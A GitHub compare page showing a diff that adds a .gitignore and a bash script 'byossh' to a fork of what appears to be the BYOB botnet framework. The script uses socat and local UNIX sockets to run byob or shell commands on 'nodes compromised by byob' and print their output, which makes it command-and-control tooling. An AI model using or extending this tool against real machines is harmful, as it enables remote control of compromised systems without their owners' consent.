Skip to content
Permalink

Comparing changes

Choose two branches to see what’s changed or to start a new pull request. If you need to, you can also or learn more about diff comparisons.

Open a pull request

Create a new pull request by comparing changes across two branches. If you need to, you can also . Learn more about diff comparisons here.
base repository: malwaredllc/byob
Failed to load repositories. Confirm that selected base ref is valid, then try again.
Loading
base: master
Choose a base ref
...
head repository: STEELISI/byob
Failed to load repositories. Confirm that selected head ref is valid, then try again.
Loading
compare: master
Choose a head ref
Can’t automatically merge. Don’t worry, you can still create the pull request.
Loading
5 changes: 5 additions & 0 deletions byob/.gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
dist/*
build/*
*.spec
/temp
*.rsa
69 changes: 69 additions & 0 deletions byob/byossh
Original file line number Diff line number Diff line change
@@ -0,0 +1,69 @@
#!/bin/bash

set -e

node=""
time="5"
command=""

if ! command -v socat &> /dev/null; then
echo "this script depends on socat. please install";
exit 1
fi

show_help() {
echo -e "Usage: ./byossh [flags] [node] [command]"
echo -e ""
echo -e "This command executes byob or bash commands on nodes compromised by byob"
echo -e ""
echo -e "-h/--help shows this menu"
echo -e "-t sets the delay program should wait for the command to complete, so we can print it to screen"
echo -e "\t'-t 5' is recommended and the default"
echo -e ""
echo -e "[node] is the compromised node you'd like to exectue commands on"
echo -e "\tthere must a correspondig valid unix socket at /tmp/byob-socket"
echo -e "[command] is the command you'd like to execute on the remote node"
echo -e ""
}


while [[ $# -gt 0 ]]; do
case "$1" in
-h | --help)
show_help
shift
;;
-t)
shift
time="$1"
shift
;;

*)
if [ "$node" = "" ]; then
node="$1"
shift
else
command="$@"
shift "$#"
fi
;;
esac
done


if [ "$node" = "" ] || [ "$command" = "" ]; then
echo "improperly formatted input"
show_help
exit 1
fi


if [ ! -S /tmp/byob-socket/$node ]; then
echo "unix socket /tmp/byob-socket/$node doesn't exist"
echo "cannot execute remote command"
exit 1
fi

echo "$command" | socat "-t$time" - "UNIX-CONNECT:/tmp/byob-socket/$node"

Loading